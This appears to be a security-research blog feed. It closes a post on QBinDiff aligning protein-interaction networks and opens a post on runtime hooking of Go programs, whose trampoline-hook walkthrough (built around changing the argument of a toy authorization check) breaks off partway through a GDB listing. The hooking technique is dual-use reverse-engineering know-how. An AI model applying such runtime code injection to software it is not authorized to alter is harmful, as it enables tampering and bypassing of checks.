<a href="resources/2023-10-12_qbindiff-blogpost/musmusculus_ppi.svg">
<img src="resources/2023-10-12_qbindiff-blogpost/musmusculus_ppi.svg" width="46%">
</a>
</center></p>
<p class="center-text"><em>Visualization of the PPI networks. On the left is displayed the Homo sapiens while on the right is the one of the Mus musculus. The colors help to identify graph communities</em></p>
<p>In order to provide a similarity matrix between the nodes (in this case the proteins) of the two
graphs we can use the <a href="https://blast.ncbi.nlm.nih.gov/Blast.cgi"><strong>BLAST</strong> algorithm</a>,<sup id="fnref:6"><a class="footnote-ref" href="#fn:6">9</a></sup> that
computes the similarity between two proteins by comparing their amino-acid sequences.</p>
<p>For the sake of clarity suppose that we already have Python objects representing the graphs and
the similarity between the nodes.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">networkx</span>
<span class="n">primary</span><span class="p">:</span> <span class="n">networkx</span><span class="o">.</span><span class="n">Graph</span> <span class="o">=</span> <span class="n">load_graph</span><span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="c1"># Homo sapiens PPI network</span>
<span class="n">secondary</span><span class="p">:</span> <span class="n">networkx</span><span class="o">.</span><span class="n">Graph</span> <span class="o">=</span> <span class="n">load_graph</span><span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="c1"># Mus musculus PPI network</span>
<span class="n">blast_scores</span><span class="p">:</span> <span class="nb">dict</span><span class="p">[</span><span class="nb">tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">],</span> <span class="nb">float</span><span class="p">]</span> <span class="o">=</span> <span class="n">load_blast</span><span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="c1"># BLAST similarity scores</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Primary graph</span><span class="se">\n\t</span><span class="s2">Nodes: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">primary</span><span class="p">)</span><span class="si">}</span><span class="s2"> Edges: </span><span class="si">{</span><span class="n">primary</span><span class="o">.</span><span class="n">size</span><span class="p">()</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Secondary graph</span><span class="se">\n\t</span><span class="s2">Nodes: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">secondary</span><span class="p">)</span><span class="si">}</span><span class="s2"> Edges: </span><span class="si">{</span><span class="n">secondary</span><span class="o">.</span><span class="n">size</span><span class="p">()</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Size of similarity matrix </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">blast_scores</span><span class="p">)</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>Primary graph
Nodes: 8932 Edges: 41158
Secondary graph
Nodes: 1584 Edges: 2097
Size of similarity matrix 102667
</code></pre></div>
<p>Now that we have all the data we need, it's time to create a <code>Differ</code> instance and compute the
alignment of the two networks. Since we are working with undirected, unattributed graphs we can use
the <code>GraphDiffer</code> class from qbindiff.</p>
<p>To load the similarity matrix with our scores, we can register a <code>Pass</code> function. The pass mechanism
is used for refining the similarity matrix.
To populate the similarity matrix with the BLAST scores we can use the pass mechanism, a callback
system that is used for refining the similarity matrix at each pass. By default a <code>GraphDiffer</code>
instance will initialize the entire similarity matrix to 1, hence it's not leveraging similarity
information, so we can re-initialize it to 0 and then put the normalized similarity BLAST score.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">qbindiff</span> <span class="kn">import</span> <span class="n">GraphDiffer</span><span class="p">,</span> <span class="n">Program</span>
<span class="kn">from</span> <span class="nn">qbindiff.types</span> <span class="kn">import</span> <span class="n">SimMatrix</span>
<span class="k">def</span> <span class="nf">init_similarity_matrix</span><span class="p">(</span>
<span class="n">sim_matrix</span><span class="p">:</span> <span class="n">SimMatrix</span><span class="p">,</span>
<span class="n">primary</span><span class="p">:</span> <span class="n">Program</span><span class="p">,</span>
<span class="n">secondary</span><span class="p">:</span> <span class="n">Program</span><span class="p">,</span>
<span class="n">primary_mapping</span><span class="p">:</span> <span class="nb">dict</span><span class="p">[</span><span class="n">Any</span><span class="p">,</span> <span class="nb">int</span><span class="p">],</span>
<span class="n">secondary_mapping</span><span class="p">:</span> <span class="nb">dict</span><span class="p">[</span><span class="n">Any</span><span class="p">,</span> <span class="nb">int</span><span class="p">],</span>
<span class="n">blast</span><span class="p">:</span> <span class="nb">dict</span><span class="p">[</span><span class="nb">tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">],</span> <span class="nb">float</span><span class="p">],</span>
<span class="p">)</span> <span class="o">-></span> <span class="kc">None</span><span class="p">:</span>
<span class="n">sim_matrix</span><span class="p">[:]</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="p">(</span><span class="n">label1</span><span class="p">,</span> <span class="n">label2</span><span class="p">),</span> <span class="n">score</span> <span class="ow">in</span> <span class="n">blast</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
<span class="n">sim_matrix</span><span class="p">[</span><span class="n">primary_mapping</span><span class="p">[</span><span class="n">label1</span><span class="p">],</span> <span class="n">secondary_mapping</span><span class="p">[</span><span class="n">label2</span><span class="p">]]</span> <span class="o">=</span> <span class="n">score</span>
<span class="c1"># Normalize</span>
<span class="n">sim_matrix</span> <span class="o">/=</span> <span class="n">sim_matrix</span><span class="o">.</span><span class="n">max</span><span class="p">()</span>
<span class="c1"># Create a differ instance</span>
<span class="n">differ</span> <span class="o">=</span> <span class="n">GraphDiffer</span><span class="p">(</span><span class="n">primary</span><span class="p">,</span> <span class="n">secondary</span><span class="p">,</span> <span class="n">sparsity_ratio</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="c1"># Register a pass to populate the similarity matrix</span>
<span class="n">differ</span><span class="o">.</span><span class="n">register_prepass</span><span class="p">(</span><span class="n">init_similarity_matrix</span><span class="p">,</span> <span class="n">blast</span><span class="o">=</span><span class="n">blast_scores</span><span class="p">)</span>
<span class="c1"># Compute the diffing</span>
<span class="n">mapping</span> <span class="o">=</span> <span class="n">differ</span><span class="o">.</span><span class="n">compute_matching</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Similarity: </span><span class="si">{</span><span class="n">mapping</span><span class="o">.</span><span class="n">similarity</span><span class="si">}</span><span class="s2"> Normalized Similarity: </span><span class="si">{</span><span class="n">mapping</span><span class="o">.</span><span class="n">normalized_similarity</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="n">Similarity</span><span class="o">:</span><span class="w"> </span><span class="mf">807.2150001265109</span><span class="w"> </span><span class="n">Normalized</span><span class="w"> </span><span class="n">Similarity</span><span class="o">:</span><span class="w"> </span><span class="mf">0.153521300898918</span><span class="w"></span>
</code></pre></div>
<p>At this point it's easy to manipulate the <code>Mapping</code> object containing the alignment of the two <em>PPI</em>
networks.</p>
<p>The complete script as well with the dataset can be downloaded <a href="resources/2023-10-12_qbindiff-blogpost/ppi_differ.tar.gz">here</a>.</p>
<h2>Diffing portal</h2>
<p>As part of our work on diffing, we tried to aggregate various resources and documentation about the
various tools on a single web page: the <strong>diffing portal</strong>. It also contains in-depth explanations
about the algorithm used by QBinDiff and other differs as well as tutorials and quick start guides, academic
papers, and documentation about binary exporters and differs.</p>
<p>It can be reached at this link <a href="https://diffing.quarkslab.com/">https://diffing.quarkslab.com/</a>.</p>
<h2>Conclusion</h2>
<p>We open-sourced QBinDiff, an experimental tool that requires some know-how to get the most
of it. However, it's a good platform for experimentation and more specific diffing
tasks. Because of its implementation in Python, it never will be faster than Bindiff
but it does not intend to :).</p>
<p>Multiple experiments are in the pipe especially to compare it against Diaphora3 and
its features from the decompiled code. Also, more academic results are hopefully
coming soon!</p>
<p>The goal of this post was to give an insight into QBinDiff's algorithm and how diffing can be applied
beyond reverse-engineering. We are also eager to receive constructive feedbacks
on our tools. To conclude, if you have other use cases where such approach can
be useful, let us know!</p>
<div class="footnote">
<hr>
<ol>
<li id="fn:1">
<p>Burkard, Rainer E. (Mar. 1984). <em>Quadratic assignment problems</em>. <em>European Journal of Operational Research</em> 15.3, pp 283-289. <a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">↩</a></p>
</li>
<li id="fn:2">
<p>Bayati, Mohsen et al. (Dec. 2009). <em>Algorithms for Large, Sparse Network Alignment Problems</em>. <em>Proceedings of the 2009 Ninth IEEE International Conference on Data Mining</em>. ICDM '09 USA: IEEE Computer Society, pp, 705-710. <a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">↩</a></p>
</li>
<li id="fn:3">
<p>Klau, Gunnar W. (Jan. 2009). <em>A new graph-based method for pairwise global network alignment</em>. <em>BMC Bioinformatics</em> 10.1, S59. <a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text">↩</a></p>
</li>
<li id="fn:4">
<p>Loeliger, H.-A. (Jan. 2004). <em>An introduction to factor graphs</em>. <em>IEEE Signal Processing Magazine</em> 21.1, pp. 28–41. <a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text">↩</a></p>
</li>
<li id="fn:7">
<p><a href="https://theses.hal.science/tel-03667920/">https://theses.hal.science/tel-03667920/</a> <a class="footnote-backref" href="#fnref:7" title="Jump back to footnote 5 in the text">↩</a></p>
</li>
<li id="fn:8">
<p>Elie Mengin, Fabrice Rossi. <em>Improved Algorithm for the Network Alignment Problem with Application to Binary Diffing</em>. <em>25th International Conference on Knowledge Based and Intelligent information and Engineering Systems (KES2021)</em>, Aug 2021, Szczecin, Poland. pp.961-970. <a href="https://arxiv.org/abs/2112.15336v1">https://arxiv.org/abs/2112.15336v1</a> <a class="footnote-backref" href="#fnref:8" title="Jump back to footnote 6 in the text">↩</a></p>
</li>
<li id="fn:9">
<p>Elie Mengin, Fabrice Rossi. <em>Binary Diffing as a Network Alignment Problem via Belief Propagation</em>. <em>36th IEEE/ACM International Conference on Automated Software Engineering (ASE 2021)</em>, IEEE; ACM, Nov 2021, Melbourne, Australia. <a href="https://arxiv.org/abs/2112.15337">https://arxiv.org/abs/2112.15337</a> <a class="footnote-backref" href="#fnref:9" title="Jump back to footnote 7 in the text">↩</a></p>
</li>
<li id="fn:5">
<p>Titeca, Kevin; Lemmens, Irma; Tavernier, Jan; Eyckerman, Sven (29 June 2018). <em>Discovering cellular protein‐protein interactions: Technological strategies and opportunities</em>. <em>Mass Spectrometry Reviews</em>. 38 (1): 79–111. <a class="footnote-backref" href="#fnref:5" title="Jump back to footnote 8 in the text">↩</a></p>
</li>
<li id="fn:6">
<p>Stephen F. Altschul, Warren Gish, Webb Miller, Eugene W. Myers, and David J. Lipman. <em>Basic Local Alignment Search Tool</em>. <em>Journal of Molecular Biology</em>. 1990: 215(3) <a class="footnote-backref" href="#fnref:6" title="Jump back to footnote 9 in the text">↩</a></p>
</li>
</ol>
</div>Let’s Go into the rabbit hole (part 1) — the challenges of dynamically hooking Golang programs2023-10-03T00:00:00+02:002023-10-03T00:00:00+02:00Mihail Kirovtag:blog.quarkslab.com,2023-10-03:/lets-go-into-the-rabbit-hole-part-1-the-challenges-of-dynamically-hooking-golang-program.html<p><em>Golang</em> is the most used programming language for developing cloud technologies. Tools such as <em>Kubernetes</em>, <em>Docker</em>, <em>Containerd</em> and <em>gVisor</em> are written in Go. Despite the fact that the code of these programs is open source, there is no way to analyze and extend their behavior dynamically without recompiling their code. Is this due to the complex internals of the language? In this blog post, we’ll look into the challenges of developing and inserting runtime hooks in <em>Golang</em> programs.</p><div style="text-align:center">
<img src="resources/2023-09-06_golang-tracer-part1/gopher.jpeg" width="40%" height="40%" />
<br />
<i>A Golang gopher</i>
</div>
<p><br /></p>
<h2>Introduction</h2>
<p>Hooking, also known as a “detour”, is a mechanism for unconditionally redirecting the execution flow of a program.
There is a lot of literature on the Internet on how this can be done for different programming languages such as C, C++.
However, hooking Go code at runtime is not a straightforward process. It gets even more interesting
when one tries to hook Go code with Go code which leads to a deep rabbit hole. In the end, it should be more natural to manipulate <em>Golang</em> data structures with <em>Golang</em>, right? In this series of blog posts, we’ll present a rather interesting strategy that we’ve developed at Quarkslab to achieve that.
Before going into the rabbit hole, let’s first discuss why we got interested in implementing detours for Go programs and why it is more complicated than for other programs written in C or C++. </p>
<h2>Why Hook Golang Programs During Runtime and What are the Difficulties?</h2>
<p>Nowadays, most modern cloud technologies are written in <em>Golang</em> (e.g. <em>Kubernetes</em>, <em>Docker</em>, <em>Containerd</em>, <em>runc</em>, <em>gVisor</em>, etc.). Most of these technologies have a big and complex architecture which is cumbersome to analyze statically. It could be great to have the means to analyze these tools dynamically alongside the static analysis. Sadly, at the time of writing, there isn’t any solution for dynamic analysis without recompiling the source code of the programs. This could be a problem, because sometimes we can’t modify the source code of these tools, and should interact directly with the process which is already executing the code. But why aren’t there any tools in the wild
which allow the insertion of some arbitrary logic inside a running Go program? We suppose that one of the problems could be that Gopl (<em>Golang</em> programming language) has a different <a href="https://en.wikipedia.org/wiki/Application_binary_interface">ABI (Application binary interface)</a> than the one used in C and C++ (hence, <em>Frida</em> does not work out of the box :( ). In addition, <em>Golang</em> incorporates a language-specific runtime which is responsible for complex procedures such as garbage collection and scheduling of <a href="https://golangbot.com/goroutines/">goroutines</a>. The way this runtime is placed inside the program alongside its functioning completely changes the way we construct and insert hooks. Last but not least, initially the Gopl was intended to be self-contained — it was not designed to be extendible during runtime (e.g. loading shared libraries).
Happily, this changed, but Go programs are still statically linked if they don't use the <code>net</code> or the <code>user</code> packages or they don't make use of <code>cgo</code>.
However, with some assumptions and tweaking we were able to circumvent these problems.</p>
<p>But before we demonstrate how we managed to do it, let’s first see how we can hook <em>Golang</em> programs during runtime using C and pure assembly on <em>x86-64</em> CPU architecture. Let’s start with a more formal explanation of what a hook is and why it is useful.</p>
<h2>What Is Program Hooking and What Is It Useful for?</h2>
<p>Hooking a program is the procedure of changing its default flow of execution, most of the time with the intent of either collecting information about the program’s environment (e.g. inspect a function’s arguments) or with the intent of changing its behavior (e.g. altering the arguments of a function).</p>
<p>Detours are used for debugging, hot patching, metric collection but also for malware development, game cracks, etc.
In general, there are two types of hooks:</p>
<ul>
<li><strong>Regular hooks</strong> — hijack the original execution flow and replace it with an auxiliary logic.</li>
<li><strong>Trampoline hooks</strong> — hijack the original execution flow, execute an auxiliary logic and then execute the original flow.</li>
</ul>
<p>Let’s introduce the following notions which will be used in the entire series of blog posts:</p>
<ul>
<li><strong>Host</strong> — the program whose execution flow is going to be hooked.</li>
<li><strong>Guest</strong> — an external piece of code to where the execution flow will be redirected.</li>
</ul>
<p>Here is a simplified graphical representation of how a trampoline hook would work for a regular compiled program:</p>
<div style="text-align:center">
<img src="resources/2023-09-06_golang-tracer-part1/hook.svg" width="80%" height="80%" />
<br />
<i>A scheme of a general program hooking process </i>
</div>
<p><br /> </p>
<p>The above schema illustrates a redirection of the execution flow of a function in the <em>Host</em>
to another function in the <em>Guest</em>. The hooking happens during execution of the <em>Host</em>, hence
all the above happens in the RAM, where its instructions are loaded (runtime hooking, right?).
In the above schema, it is assumed that the <em>Guest</em> is loaded externally, by an auxiliary program that we call "loader", during the execution of the <em>Host</em>. You can see the <em>Guest</em> as an external object (shared libraries). This approach can be applied to hook any part of a function assuming that the function is not in-lined, or it can at least host a JUMP stub inside it. Let’s clarify each phase having a numeric identifier in the above presented schema (the other phases are considered out of the scope of the article or straightforward to understand):</p>
<ol>
<li>
<p><strong>Create backup</strong> — this phase involves saving some instructions from the original function. The insertion of a redirection stub (in phase 2) would overwrite five or fourteen bytes of instructions depending on the size of the stub. To be able to execute the original instructions after the hook, one needs to save these bytes and execute them later. NB: The choice of which instructions to save is important. As these instructions are going to be stored in another segment, if they contain relative offsets, this could involve instruction patching. Another solution would be to overwrite instructions whose execution is independent of their position. </p>
</li>
<li>
<p><strong>Initialize trampoline</strong> — in this phase the <em>Guest</em> initializes the trampoline segment (allocation, initialization of the addresses of the call stubs depending on where the Guest is loaded, insertion of the backup instructions, etc.).</p>
</li>
<li>
<p><strong>Insert a redirection stub</strong> — in this phase the redirection stub (a conditional/unconditional assembly JUMP instruction) is inserted in the function body, overwriting the original instructions. When the execution flow gets to it, it will be redirected to an external segment containing the “trampoline” logic. This segment is not part of the <em>Host</em> so it’s created and initialized by the <em>Guest</em> when it is loaded. </p>
</li>
<li>
<p><strong>Save context</strong> — this phase is part of the trampoline segment where the execution flow ends after being redirected. Its objective is to preserve the execution context before calling into the hook function in the <em>Guest</em>. The hook could modify the CPU state when executing which could corrupt the program’s execution in a future state (remember that the compiler hasn’t predicted us interfering). In most programming languages, there are <strong>caller-saved</strong> (volatile registers, or call-clobbered) and <strong>callee-saved</strong> (non-volatile registers, or call-preserved) CPU registers. To not corrupt the program when the execution flow returns to its normal path we need to save the caller-saved registers so that our <em>Guest</em> can modify them freely. Additionally, in this phase we are also preparing for a function call which could require an ABI arrangement (adding, rearranging or removing function arguments) by the trampoline itself.</p>
</li>
<li>
<p><strong>Call hook</strong> — a call instruction redirects the flow to the hook defined in the <em>Guest</em>’s <code>.text</code>
segment.</p>
</li>
<li>
<p><strong>Restore context</strong> — when the hook returns, in the trampoline section we restore and modify, if necessary (if the hook returns a result), the stored context (CPU registers).</p>
</li>
<li>
<p><strong>Execute backup</strong> — the saved instructions are executed.</p>
</li>
<li>
<p><strong>Continue execution</strong> — the flow is redirected to the first instruction after the redirection stub.</p>
</li>
</ol>
<p>In the description above, technical and implementation details are intentionally excluded. Some steps can be simplified and further optimized, but take this as a general approach to create
a trampoline hook. Despite this, hooking a Go program makes this procedure significantly more complex.</p>
<h2>Hooking Go Using C and Pure Assembly</h2>
<p>In this section we’ll present a method for how one could create a runtime hook redirecting the execution flow from a Go function to a C function and discuss the limitations of this approach. Let’s consider the following <em>Golang</em> program:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="s">"fmt"</span><span class="w"></span>
<span class="w"> </span><span class="s">"os"</span><span class="w"></span>
<span class="w"> </span><span class="s">"strings"</span><span class="w"></span>
<span class="p">)</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="s">"C"</span><span class="w"></span>
<span class="c1">// the "import C" statement is needed for the compiler to produce a binary </span><span class="w"></span>
<span class="c1">// which is going to load libc.so when launched. This is needed </span><span class="w"></span>
<span class="c1">// for the side-loading of the hook logic.</span><span class="w"></span>
<span class="kd">var</span><span class="w"> </span><span class="nx">SECRET</span><span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">"VALIDATEME"</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">theGuessingGame</span><span class="p">(</span><span class="nx">s</span><span class="w"> </span><span class="kt">string</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">s</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">SECRET</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="s">"Authorized"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">true</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="s">"Unauthorised"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">s</span><span class="w"> </span><span class="kt">string</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Scanf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="nx">s</span><span class="p">);</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nb">panic</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="nx">s</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">strings</span><span class="p">.</span><span class="nx">ToLower</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">theGuessingGame</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>The above code receives a user-input string and compares it to a hard-coded value. The problem is that the user could never supply the right string as its input is lowercased and the hard-coded string is in uppercase.
To get an “authorized” output we could do the following: </p>
<ul>
<li>Skip the call to <code>strings.ToLower</code> in <code>main</code> and jump directly to the call to <code>theGuessingGame</code>.</li>
<li>When starting to execute <code>theGuessingGame</code>, jump directly to the <code>fmt.Println</code>code.</li>
<li>Change the value of the string after it has been lowercased by calling into a hook which does the inverse operation (uppercasing). This can be done either directly after the call to <code>strings.ToLower</code> or at the beginning of the <code>theGuessingGame</code> function before the actual check is performed. </li>
</ul>
<p>Even if the first two options are simpler, we’ll take the third one as it’s the subject of this article. We’ll use a trampoline hook so that we can preserve the original execution flow and only change the argument of the function. There is one more interesting thing in the above snippet — the <code>import C</code> statement. This will instruct the compiler to add directives for the loader to load <code>libc</code> when the binary is loaded in
memory. As we said earlier, by default Go binaries are statically linked and include an implementation of the standard library. This is needed for the side-loading the hook logic.</p>
<h3>Representing a Golang String in C</h3>
<p>If our <em>Host</em> program was using C-like strings then our routine in the <em>Guest</em> would have the following prototype <code>void toUpper(char *s);</code> (a Null terminated sequence of ASCII characters). However, strings in Go are represented differently. In <em>Golang</em> strings are seen as a UTF-8 sequence which could contain a Null byte in each and every position. Because of that, in Go, the actual sequence of characters is embedded into a structure alongside its length. The compiler definition of this structure (for Go version 1.20.3) is :</p>
<div class="highlight"><pre><span></span><code><span class="c1">// src/internal/unsafeheader/unsafeheader.go:28</span><span class="w"></span>
<span class="c1">// String is the runtime representation of a string.</span><span class="w"></span>
<span class="c1">// It cannot be used safely or portably and its representation may</span><span class="w"></span>
<span class="c1">// change in a later release.</span><span class="w"></span>
<span class="c1">//</span><span class="w"></span>
<span class="c1">// Unlike reflect.StringHeader, its Data field is sufficient to guarantee the</span><span class="w"></span>
<span class="c1">// data it references will not be garbage collected.</span><span class="w"></span>
<span class="kd">type</span><span class="w"> </span><span class="nx">String</span><span class="w"> </span><span class="kd">struct</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">Data</span><span class="w"> </span><span class="nx">unsafe</span><span class="p">.</span><span class="nx">Pointer</span><span class="w"></span>
<span class="w"> </span><span class="nx">Len</span><span class="w"> </span><span class="kt">int</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>To define an equivalent structure in C we have to find a meaningful representation
of each field:</p>
<ul>
<li>The <code>unsafe.Pointer</code> type in Go, in this case, can be seen as a <code>const char *</code> in C (in general it can be considered as a <code>void *</code>).</li>
<li>The <code>int</code> type in Go is equivalent to <code>ptrdiff_t</code> (from <code><stddef.h></code>) in C (in general it can be considered as a <code>uint64_t</code>). </li>
</ul>
<p>Combining the above, we can now represent a Go string in C using the following definition:</p>
<div class="highlight"><pre><span></span><code><span class="c1">// hook.h</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">GoString</span><span class="w"> </span><span class="p">{</span><span class="w"> </span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">p</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="kt">ptrdiff_t</span><span class="w"> </span><span class="n">n</span><span class="p">;</span><span class="w"> </span>
<span class="p">}</span><span class="w"> </span><span class="n">GoString</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>Now, we can define our <code>toUpper</code> routine in C. For the sake of simplicity, we’ll assume that the actual byte data is the uppercase ASCII subset of the UTF-8 character set.</p>
<div class="highlight"><pre><span></span><code><span class="cm">/*</span>
<span class="cm">Convert ASCII string (a-z) to uppercase (A-Z).</span>
<span class="cm">We assume that the byte sequence of the string in str->p contains</span>
<span class="cm">only valid uppercase ASCII letters.</span>
<span class="cm">*/</span><span class="w"></span>
<span class="kt">void</span><span class="w"> </span>
<span class="nf">toUpper</span><span class="p">(</span><span class="n">GoString</span><span class="w"> </span><span class="n">str</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">str</span><span class="p">.</span><span class="n">p</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o"><</span><span class="n">str</span><span class="p">.</span><span class="n">n</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">){</span><span class="w"></span>
<span class="w"> </span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="mi">32</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<h3>Locating the Right Place to Insert the Hook</h3>
<p>Now it’s time to choose where to hijack the execution flow in the <em>Host</em> and redirect it to the <em>Guest</em>. We chose the <code>theGuessingGame</code> function so let’s first compile the code with:</p>
<div class="highlight"><pre><span></span><code>$ go build -o secret secret.go
</code></pre></div>
<p>We should ensure that the produced binary is dynamically linked and that <code>libc</code> is going to be loaded into it. Again — this is necessary for the side-loading of the <em>Guest</em>:</p>
<div class="highlight"><pre><span></span><code>$ file secret <span class="o">&&</span> <span class="nb">echo</span> <span class="o">&&</span> ldd secret
secret: ELF <span class="m">64</span>-bit LSB executable, x86-64, version <span class="m">1</span> <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID<span class="o">[</span>sha1<span class="o">]=</span>c7ba267d636a05fe5c7438b3cfba76116a26f878, <span class="k">for</span> GNU/Linux <span class="m">3</span>.2.0, with debug_info, not stripped
linux-vdso.so.1 <span class="o">(</span>0x00007fff8eabe000<span class="o">)</span>
libc.so.6 <span class="o">=</span>> /lib64/libc.so.6 <span class="o">(</span>0x00007f11dab6c000<span class="o">)</span>
/lib64/ld-linux-x86-64.so.2 <span class="o">(</span>0x00007f11dad54000<span class="o">)</span>
</code></pre></div>
<p>Let’s analyze the assembly code of <code>main</code> using GDB and see how <code>theGuessingGame</code> function is called
(yeah we know that this can be done with <em>Ghidra</em>, <em>Ida</em> and Co. but we like the output of <em>GDB</em> with the
<a href="https://github.com/longld/peda">peda</a> extension):</p>
<div class="highlight"><pre><span></span><code><span class="p">...</span><span class="w"></span>
<span class="mh">0x0000000000493c15</span><span class="w"> </span><span class="o"><+</span><span class="mi">341</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x48d3a0</span><span class="w"> </span><span class="o"><</span><span class="n">fmt</span><span class="p">.</span><span class="n">Fscanf</span><span class="o">></span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">here</span><span class="w"> </span><span class="n">we</span><span class="w"> </span><span class="k">read</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">STDIN</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">store</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="n">string</span><span class="w"></span>
